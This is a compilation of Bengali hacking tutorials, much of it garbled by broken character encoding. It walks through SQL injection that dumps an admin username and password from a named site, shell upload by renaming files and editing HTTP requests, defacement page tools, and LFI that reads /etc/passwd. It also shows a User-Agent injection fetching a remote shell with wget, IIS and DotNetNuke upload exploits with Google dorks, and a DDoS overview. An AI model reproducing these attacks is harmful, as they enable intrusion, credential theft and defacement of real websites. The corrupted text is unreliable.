সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
